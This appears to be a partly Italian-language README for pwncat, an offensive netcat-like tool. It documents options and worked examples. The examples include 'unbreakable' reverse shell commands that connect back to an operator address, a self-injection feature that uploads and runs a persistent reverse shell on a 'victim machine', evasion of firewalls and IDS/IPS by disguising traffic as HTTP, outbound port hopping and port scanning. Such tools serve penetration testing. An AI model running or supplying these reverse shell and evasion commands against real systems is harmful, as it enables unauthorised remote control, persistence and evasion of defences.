pwncat - netcat potenziato con evasione di firewall, IDS/IPS, shell bind e reverse, shell auto-iniettante e magia del port forwarding - e completamente scriptabile con Python (PSE)

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

Unbreakable TCP reverse shell

Perché unbreakable? Perché continuerà a tornare da te, anche se interrompi temporaneamente il tuo server di ascolto. In altre parole, il client continuerà a tentare di connettersi al server specificato fino al successo. Se la connessione viene interrotta, continuerà a riprovare.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

Reverse shell auto-iniettante

Immaginiamo di essere in grado di creare una reverse shell molto semplice e instabile dal target alla propria macchina, come una web shell tramite uno script PHP o simile. Sapendo che questa non durerà a lungo o potrebbe rompersi a causa di una connessione di rete instabile, si potrebbe usare pwncat per agganciarsi a questa connessione e distribuirsi in modo indistruttibile sul target, in modo completamente automatico.

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Tutto ciò che devi fare è usare pwncat come listener locale e avviarlo con l'opzione --self-inject. Non appena il client (ad esempio: la reverse web shell) si connette ad esso, eseguirà una serie di operazioni:

1. Enumera la disponibilità e le versioni di Python sul target
2. Scarica se stesso codificato in base64 sul target
3. Usa il Python del target per decodificarsi.
4. Usa il Python del target per avviarsi come una reverse shell indistruttibile verso di te

Una volta fatto ciò, puoi continuare a usare la connessione corrente o semplicemente abbandonarla e avviare un nuovo listener (sì, non è necessario avviare il listener prima di avviare la reverse shell) in modo che il nuovo client pwncat si connetta a te. Inoltre, il nuovo listener non deve essere pwncat, può essere anche netcat o ncat.

L'opzione --self-inject:```bash pwncat -l 4444 --self-inject ::

Vedrai quindi qualcosa del genere:``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

Reverse shell auto-iniettanti illimitate

Invece di richiedere una singola reverse shell auto-iniettante, puoi istruire pwncat per generare tutte le reverse shell indistruttibili che desideri, che si riconnettono a te.

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L'argomento --self-inject ti permette non solo di definire una singola porta, ma anche

1. Un elenco di porte separate da virgola: 4445,4446,4447,4448
2. Una definizione di intervallo: 4446-4448
3. Un incremento: 4445+3

Per generare 4 reverse shell, avvieresti il tuo listener proprio come descritto sopra, ma invece di una singola porta, ne definisci multiple:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

Registrazione

Nota: Assicurati di avere una reverse shell che continui a tornare. In questo modo potrai sempre modificare le impostazioni di registrazione senza perdere la shell.

Livello di log e reindirizzamento

Se lo desideri, puoi avviare un listener in modalità di registrazione TRACE completa per capire cosa sta succedendo o semplicemente per risolvere problemi. I messaggi di log sono colorati in base alla loro gravità. I colori vengono automaticamente disattivati se stderr non è un pty, ad esempio se si reindirizza l'output su un file. Puoi anche disabilitare manualmente la registrazione a colori per output su terminale tramite l'opzione --color.```bash pwncat -vvvv -l 4444

Non appena hai visto ciò sul listener, puoi inviare comandi al client. Tutti i messaggi di debug non sono necessari, quindi puoi tranquillamente Ctrl+kbd> terminare il tuo server e avviarlo di nuovo in modalità silenziosa:```bash pwncat -l 4444

Ora tutto ciò che vedrai nella tua sessione terminale sono gli input e gli output effettivi dei comandi. Se vuoi vedere cosa succede dietro le quinte, apri una seconda finestra del terminale e esegui il tail del file comm.txt:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Magia del port forwarding

Port forwarding TCP locale

Scenario

1. Alice può essere raggiunta dall'esterno (TCP/UDP)
2. Bob può essere raggiunto solo dalla macchina di Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |

Inoltro porta TCP remoto

Scenario

1. Alice non può essere raggiunta dall'esterno
2. Alice può connettersi all'esterno (TCP/UDP)
3. Bob può essere raggiunto solo dalla macchina di Alice``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |

Port hopping in uscita

Se non hai idea di quali porte in uscita siano consentite dalla macchina di destinazione, puoi istruire il client (ad es.: in caso di reverse shell) a eseguire la scansione delle porte in uscita all'infinito.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

Se il client si connette a te, avrai una reverse shell funzionante. Se interrompi il tuo server di ascolto locale accidentalmente o intenzionalmente, il client sonderà di nuovo le porte fino a quando non si connette con successo. Per uccidere il client della reverse shell, puoi usare --safe-word (all'avvio del client).

Se nulla di tutto ciò funziona, puoi aggiungere altre misure come l'uso di UDP o persino il wrapping dei tuoi pacchetti in protocolli di livello superiore, come HTTP o altri. Vedi PSE o gli esempi sotto per come trasformare il tuo traffico.

Pwncat Scripting Engine (PSE)

pwncat offre un motore di scripting basato su Python per iniettare il tuo codice personalizzato prima di inviare e dopo aver ricevuto dati.

Come funziona

Dovrai semplicemente fornire un file Python con la seguente funzione di entrypoint:```python def transform(data, pse): # Example to reverse a string return data[::-1]

Esempio 2: Wrapper HTTP POST autocostruito

PSE: http-post codice sorgente

Questo incapsulerà tutto il traffico in una richiesta HTTP POST valida, facendolo apparire come normale traffico HTTP.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

Scansione delle porte

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s